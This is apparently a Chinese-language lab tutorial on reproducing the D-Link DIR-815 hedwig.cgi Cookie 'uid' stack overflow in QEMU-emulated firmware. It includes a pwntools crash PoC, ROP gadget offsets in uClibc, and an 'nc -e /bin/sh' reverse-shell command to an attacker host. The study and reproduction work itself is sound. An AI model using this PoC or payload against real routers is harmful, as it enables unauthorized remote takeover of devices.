DIR815栈溢出漏洞复现新手入门
字数 3967
更新时间 2026-03-24 17:33:48

DIR815 路由器栈溢出漏洞复现教学文档

1. 环境准备与工具安装

1.1 核心工具安装

首先,在宿主机(推荐使用 Ubuntu 系统)上安装必要的工具。打开终端并执行以下命令:

sudo apt update
sudo apt install -y qemu-system qemu-user qemu-user-static gdb gdb-multiarch file wget curl git python3 python3-pip build-essential liblzma-dev unzip pkg-config libfontconfig1-dev bridge-utils uml-utilities
sudo apt install docker.io
sudo apt install git

1.2 安装 Binwalk

Binwalk 用于固件解包。通过以下步骤安装:

git clone https://github.com/ReFirmLabs/binwalk
cd binwalk
sudo ./build_docker.sh

为了方便使用,创建一个启动脚本(例如命名为 binwalk.sh):

#!/bin/bash
IMAGE="binwalkv3"
USER_ID=$(id -u)
GROUP_ID=$(id -g)
DOCKER_ARGS=(
    --rm                     # 运行后自动删除容器
    -it                      # 交互式 TTY(支持 Ctrl+C、颜色等)
    --user "$USER_ID:$GROUP_ID"  # 使用当前用户身份运行,避免权限问题
    -v "$PWD":/analysis      # 挂载当前目录
    -w /analysis             # 工作目录设为挂载点
    --init                   # 更好的信号处理(可选,需 Docker >= 1.13)
)
exec docker run "${DOCKER_ARGS[@]}" "$IMAGE" "$@"

赋予脚本执行权限并将其放入 /usr/bin 或将其所在目录加入 PATH 环境变量。

2. 固件解包

将待分析的固件文件(例如 xxx.bin)放在当前目录,然后运行:

binwalk -Me ./xxx.bin

此命令会自动递归解包固件,提取出文件系统。

3. 配置 QEMU 网络(桥接模式)

3.1 创建桥接网络配置文件

创建并编辑网络配置文件:

sudo nvim /etc/netplan/99-bridge.yaml

在文件中输入以下配置(注意:ens33 需根据 ip addr 命令输出的实际网卡名修改):

network:
  version: 2
  renderer: networkd
  ethernets:
    ens33: {}  # 请替换为你的实际网卡名
  bridges:
    br0:
      interfaces: [ens33]  # 同上
      dhcp4: true
      optional: true

应用配置:

sudo netplan apply

应用后,使用 ip addr 命令检查是否出现 br0 网桥设备,并获取其 IP 地址。

3.2 配置 QEMU 使用桥接

允许 QEMU 使用桥接网络:

sudo mkdir -p /etc/qemu
sudo touch /etc/qemu/bridge.conf
echo "allow all" | sudo tee /etc/qemu/bridge.conf

4. 下载并准备 QEMU 虚拟机

4.1 下载 Debian MIPSEL 内核与镜像

在合适目录下执行:

curl -LO https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta
curl -LO https://people.debian.org/~aurel32/qemu/mipsel/debian_squeeze_mipsel_standard.qcow2

下载后请备份好这两个文件。

4.2 编写 QEMU 启动脚本

创建一个启动脚本(例如 start.sh):

#!/bin/sh
sudo qemu-system-mipsel \
    -M malta \
    -kernel vmlinux-3.2.0-4-4kc-malta \
    -hda debian_squeeze_mipsel_standard.qcow2 \
    -append "root=/dev/sda1 console=tty0" \
    -nographic \
    -net nic -net bridge,br=br0
  • -net bridge,br=br0:使 QEMU 使用已配置的 br0 网桥。
  • -nographic:禁用图形界面,使用控制台输出。

启动虚拟机(启动过程会卡顿一会,请耐心等待):

chmod +x start.sh
sudo ./start.sh

虚拟机默认账号密码为 root/root

5. 文件传输与固件环境搭建

5.1 SSH 连接虚拟机

启动虚拟机后,在虚拟机内执行 ip addr 查看 IP 地址(例如 192.168.199.135)。在宿主机上通过 SSH 连接(由于虚拟机 SSH 版本旧,需指定算法):

ssh -o HostKeyAlgorithms=+ssh-rsa root@192.168.199.135

5.2 传输固件文件系统

  1. 在宿主机上,定位到 binwalk 解包出的文件系统根目录(包含 bin, etc, sbin 等文件夹的目录,假设文件夹名为 rootfs)。
  2. 压缩该文件夹:
    tar czvf rootfs.tar.gz ./rootfs/
    
  3. 使用 SCP 传输到虚拟机(同样需要指定算法和 -O 参数以兼容旧版):
    scp -O -o HostKeyAlgorithms=+ssh-rsa -r ./rootfs.tar.gz root@192.168.199.135:/root/
    

5.3 准备环境初始化脚本

在宿主机创建 init.sh 文件,内容如下:

#!/bin/bash
cp sbin/httpd /
cp -rf htdocs/ /
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cd /
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap

此脚本用于复制关键文件并创建符号链接。将其传输到虚拟机:

scp -O -o HostKeyAlgorithms=+ssh-rsa -r ./init.sh root@192.168.199.135:/root

5.4 创建并传输 HTTP 服务配置文件

创建 http_conf 文件,内容如下(这是一个简化的示例,实际应包含完整的 httpd 配置):

Umask 026
PIDFile /var/run/httpd.pid
LogGMT On
ErrorLog /log
Tuning
{
    NumConnections 15
    BufSize 12288
    InputBufSize 4096
    ScriptBufSize 4096
    NumHeaders 100
    Timeout 60
    ScriptTimeout 60
}
Control
{
    Types
    {
        text/html { html htm }
        text/xml { xml }
        text/plain { txt }
        image/gif { gif }
        image/jpeg { jpg }
        text/css { css }
        application/octet-stream { * }
    }
    Specials
    {
    }
}

传输到虚拟机根目录:

scp -O -o HostKeyAlgorithms=+ssh-rsa -r ./http_conf root@192.168.199.135:/

6. 在虚拟机中启动服务

  1. 在虚拟机中解压固件文件系统:
    cd /root
    tar -xzvf ./rootfs.tar.gz
    
  2. 进入解压后的目录,移动并执行初始化脚本:
    cd rootfs
    mv ../init.sh ./
    chmod +x ./init.sh
    ./init.sh
    
    脚本执行时可能会有关于空链接文件的报错,可忽略。
  3. 启动 httpd 服务:
    /httpd -f /http_conf
    
  4. 服务验证:在宿主机浏览器访问 http://<虚拟机IP>:8080/hedwig.cgi(例如 http://192.168.199.135:8080/hedwig.cgi)。如果页面有回显(例如显示“no xml data”),则服务启动成功。

7. 漏洞静态分析

根据漏洞报告,漏洞存在于 hedwig.cgi 中。在固件文件系统中,hedwig.cgi 通常是一个指向 cgibin 的符号链接。使用反汇编工具(如 IDA Pro、Ghidra)分析 cgibin 文件。

  1. 定位漏洞函数:查找 hedwigcgi_main 函数。
  2. 漏洞点
    • 函数内部会从 HTTP 请求的 Cookie 头中提取 uid 参数的值。
    • 提取函数 sess_get_uid 会定位 Cookie 中的 uid= 字段,并返回其等号后的值。
    • 函数 sobj_get_string 会检查 uid 指针,如果非空且 *(uid+20) 不为 \x00,则返回 uid+20 处的地址,即跳过了前 20 字节。
    • uid 值(跳过前 20 字节后)被直接拷贝到一个大小为 1024 字节的栈缓冲区(假设变量名为 vuln_s)中,且拷贝前未对长度进行有效校验,导致栈溢出。
  3. 保护检查:通过 checksec 等工具检查 cgibin,发现其未开启 NX、ASLR 等保护,为利用提供了便利。

8. 动态调试与漏洞验证

8.1 准备 PoC 脚本

使用 pwntools 编写一个简单的 PoC 脚本来触发崩溃,确认漏洞存在。

from pwn import *
context.log_level = "debug"
io = remote("192.168.199.135", 8080) # 替换为虚拟机IP

# 计算溢出长度。20字节偏移 + 1024字节缓冲区 - 17(可能的结构体对齐) + 8(覆盖必要寄存器如s0, s5, ra)
length = 20 + 1024 - 17 + 8
cookie_payload = b"a" * length
body = b""  # POST 数据体为空

request = b""
request += b"POST /hedwig.cgi HTTP/1.1\r\n"
request += b"Host: 192.168.199.135:8080\r\n"
request += b"User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:148.0) Gecko/20100101 Firefox/148.0\r\n"
request += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
request += b"Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5\r\n"
request += b"Accept-Encoding: gzip, deflate\r\n"
request += b"Connection: keep-alive\r\n"
request += b"Upgrade-Insecure-Requests: 1\r\n"
request += b"Cookie: uid=" + cookie_payload + b"\r\n"
request += b"Content-Type: application/x-www-form-urlencoded\r\n"
request += b"Content-Length: " + str(len(body)).encode() + b"\r\n"
request += b"Priority: u=0, i\r\n\r\n"
request += body

io.send(request)
io.interactive()

发送请求后,如果服务返回 500 错误,表明 CGI 进程崩溃,栈溢出触发成功。

8.2 搭建调试环境

  1. 准备 gdbserver:下载 MIPSEL 架构的静态编译版 gdbserver。
    curl -LO https://github.com/guyush1/gdb-static/releases/download/v17.1-static/gdb-static-slim-mipsel.tar.gz
    mkdir ./gdb-mipsel
    tar xzvf ./gdb-static-slim-mipsel.tar.gz -C ./gdb-mipsel
    scp -o HostKeyAlgorithms=+ssh-rsa -r ~/0x1.Tools/gdb-mipsel/gdbserver root@192.168.199.135:/
    
  2. 附加调试:在虚拟机中启动 httpd 服务后,查找其 PID 并用 gdbserver 附加。
    ./httpd -f ./http_conf &
    ps -aux | grep httpd
    gdbserver :1234 --attach <PID>
    
  3. 宿主机连接调试:在宿主机启动 gdb-multiarch 并连接。
    gdb-multiarch
    (gdb) target remote 192.168.199.135:1234
    (gdb) catch exec
    (gdb) c
    
  4. 触发漏洞:在宿主机运行 PoC 脚本。此时 gdb 会因 catch execcgibin 被加载执行时中断。在漏洞函数(如 hedwigcgi_main)的关键位置(例如 0x40967C)下断点,继续运行,观察栈数据是否被覆盖,确认溢出点。

9. 漏洞利用与 ROP 链构造

由于二进制文件未开启 ASLR,地址固定,且无 NX 保护,可利用 ROP 技术执行命令。但由于地址中可能包含 \x00 导致截断,需精心选择 Gadget。

9.1 查找 Gadget

目标:控制 $ra(返回地址)、$s0$s5 寄存器,最终跳转到 system 函数并控制其参数。

  1. 关闭 ASLR(临时):在调试虚拟机中执行 echo 0 > /proc/sys/kernel/randomize_va_space(重启失效)。
  2. 查找库基址:在调试器中,通过 vmmapinfo proc mappings 查看 cgibin 及其链接库(如 libc.so.0)的加载基址。
  3. 使用工具搜索:在宿主机上,使用 ropperROPgadgetcgibinlibuClibc-0.9.30.1.so 中搜索可用 gadget。
    pip install ropper
    ropper -f libuClibc-0.9.30.1.so --nocolor > gadgets.txt
    
    根据文档示例,需要寻找以下关键 Gadget:
    • Gadget 1 (例如位于 libc_base + 0x158c8):用于将 $s0 的值赋给 $t9 并跳转,同时控制 $s5$a0
    • Gadget 2 (例如位于 libc_base + 0x159cc):用于调整 $sp 并将 $s5 的值赋给 $a0

9.2 构造利用链

核心思路:

  1. 通过栈溢出,覆盖函数返回地址 $raGadget 1 的地址。
  2. 布置栈数据,使得溢出后栈布局能正确设置 $s0$s5 寄存器。
    • $s0 应设置为 system 函数地址 - 1(避免地址中的 \x00 字节)。
    • $s5 应设置为 Gadget 2 的地址,该 Gadget 执行后,$a0 寄存器(system 的第一个参数)将指向一个我们可控的栈地址,该地址包含我们要执行的命令字符串。
  3. Gadget 1 执行时,会将 $s0system_addr-1)赋给 $t9 并跳转。在跳转前,通常有一个 addiu $s0, 1 指令(或类似的)将值加回,使得 $t9 指向正确的 system 函数。
  4. Gadget 2 执行时,会从栈上取数据给 $a0,并最终跳转到 $t9(即 system)。
  5. $a0 指向的地址处放置要执行的命令,例如 ||/bin/sh||nc -e /bin/sh <攻击者IP> <端口>。使用 || 可以忽略前一条可能出错的命令。

9.3 编写完整 Exploit

结合上述信息,编写最终的 Python 漏洞利用脚本。脚本需精确计算填充长度、各个 gadget 的地址、system 函数的地址以及命令字符串在栈中的位置。

关键步骤

  • 计算从溢出点到返回地址 $ra 的偏移。
  • 构造 payload 结构:[偏移量长度的填充] + [Gadget1地址] + [填充以对应寄存器恢复] + [s5值] + [s0值] + ... + [命令字符串]
  • 注意 MIPS 指令的内存对齐和字节序。
  • system 地址可能在 libc 中,注意查找。
  • 命令字符串中可用 ;|| 与前文可能存在的垃圾数据分隔。

9.4 获取 Shell

  1. 在攻击机(宿主机)上监听一个端口:nc -lvnp 4444
  2. 运行最终构造的 exploit 脚本。
  3. 如果 exploit 成功,将在监听端口收到来自路由器的反向 shell 连接。

10. 总结与注意事项

  • 本教程详细介绍了从环境搭建、固件模拟、漏洞分析、动态调试到 ROP 利用链构造的完整流程。
  • 关键点包括:正确配置 QEMU 桥接网络、处理旧版 SSH/SCP 兼容性问题、理解漏洞触发路径(Cookie 中 uid 参数的处理)、以及针对无保护 MIPS 架构的 ROP 链构造技巧。
  • 实际利用时,需根据具体的 cgibinlibc 文件,重新计算偏移、查找 gadget 和函数地址。
  • 请仅在授权的环境中进行安全测试。
相似文章
相似文章
 全屏